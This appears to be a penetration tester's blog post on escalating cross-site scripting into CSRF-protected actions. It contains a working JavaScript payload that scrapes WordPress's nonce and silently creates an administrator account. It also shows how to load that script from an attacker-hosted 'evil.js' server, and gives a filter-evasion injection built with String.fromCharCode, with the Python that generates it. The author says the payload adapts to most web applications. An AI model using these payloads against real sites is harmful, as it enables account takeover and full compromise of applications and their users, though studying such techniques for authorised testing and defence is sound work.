When identifying XSS (Cross-site Scripting) within a target application, I often choose to go beyond a proof-of-concept exploit such as popping an alert box.  I find that the best payloads are those which exploit functionality within the application which require authentication, such as adding a new user when logged in as an administrator.  Other useful payloads will largely depend on the application, such as buying a product in a shopping application or bidding on an item in an auction.  These attacks are effectively a form of CSRF (Cross-site Request Forgery). In most modern applications, CSRF attacks are prevented with CSRF tokens.  If the application has a XSS vulnerability this protection can usually be bypassed.

Below is an example of an XSS payload which bypasses CSRF protection and adds a user within WordPress.  This will work is executed by an authenticated administrator.

//Use this to exploit XSS to compromise the application.
// just use the XSS payload of <script src=http://[MY_EVIL_SERVER]/add_admin.js>
//Host this file on your server
url = "http://[TARGET]/wp-admin/user-new.php";
var login = "";
var pass = "";
var email = "";

function httpGet(url)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
var all = httpGet(url);
var nonce = all.split("name=\"_wpnonce_create-user\" value=\"");
var nonce = nonce[1].slice(0, 10);
var http = new XMLHttpRequest();
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" + login + "&email=" + email + "&first_name=&last_name=&url=&pass1=" + pass + "&pass1-text=" + pass + "&pass2=" + pass + "&pw_weak=on&role=administrator&createuser=Add+New+User";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);

The breakdown of this .js file is as follows:

  • Request the user-new.php page on the target domain
  • Read the HTML and identify the CSRF token “_wpnonce_create-user”
  • Parse out this variable and store it as “nonce”
  • send a POST request with the details of the new user to be added, suppling the extracted nonce in the “_wpnonce_create-user” parameter.

I have used this code to perform similar attacks against other applications.  By simply changing the URL, POST parameters, and nonce location this can be re-purposed to work against most web applications.

The other issue I occasionally run into is getting all the Javascript code within a vulnerable parameter.  I find I am often limited by length, use of special characters, and XSS filters.  To smuggle this payload into the target application I will typically use an external script file.  The standard syntax for this is simply:

<script src="http://www.[DOMAIN]/script.js"></script>

I have run into instances within an application where XSS payloads were being heavily filtered, however I was able to smuggle a payload into a event handler via a parameter.

The event handler was using location.assign to redirect the user, and the value of a user supplied parameter was present within the URL.  To break out location.assign, a single quote and a pipe were used to run additional javascript functions.

A request like:

GET /function?parameter=value'|alert(1)|'&Print=Yes

would result in:

<body onLoad="window.print() ; location.assign('https://[DOMAIN].com/parameter?value='|alert(1)|'')">

within the HTML, which would execute the alert payload.

To avoid the XSS filter and to avoid using any additional single or double quotes, I elected to use document.write and char encoding to write out my script tag using Javascript.

A few lines of python can be used to create a suitable payload:

>> payload = "<script src='https://www.n00py.io/evil.js'></script>"
>>> inject = 'document.write(String.fromCharCode('+",".join([str(ord(n)) for n in payload])+'))'
>>> inject
'document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))'

If were swap out the alert(1) payload with the value of “inject” above, our payload will do the following:

  • Convert the charcode array into a string (<script src=’https://www.n00py.io/evil.js’></script>)
  • Write the script tag into the webpage upon execution
  • The script tag will pull down an external script an execute it
  • The external script would perform the CSRF bypass

By using the String.fromCharCode function, any payload can be written into the page without concern for blacklisted strings on restrictions on special characters.  It is also important to host your malicious .js file over HTTPS.  If a XSS vulnerability is found on a website running HTTPS you will need the payload to also be hosted over HTTPS to avoid being blocked for mixed content.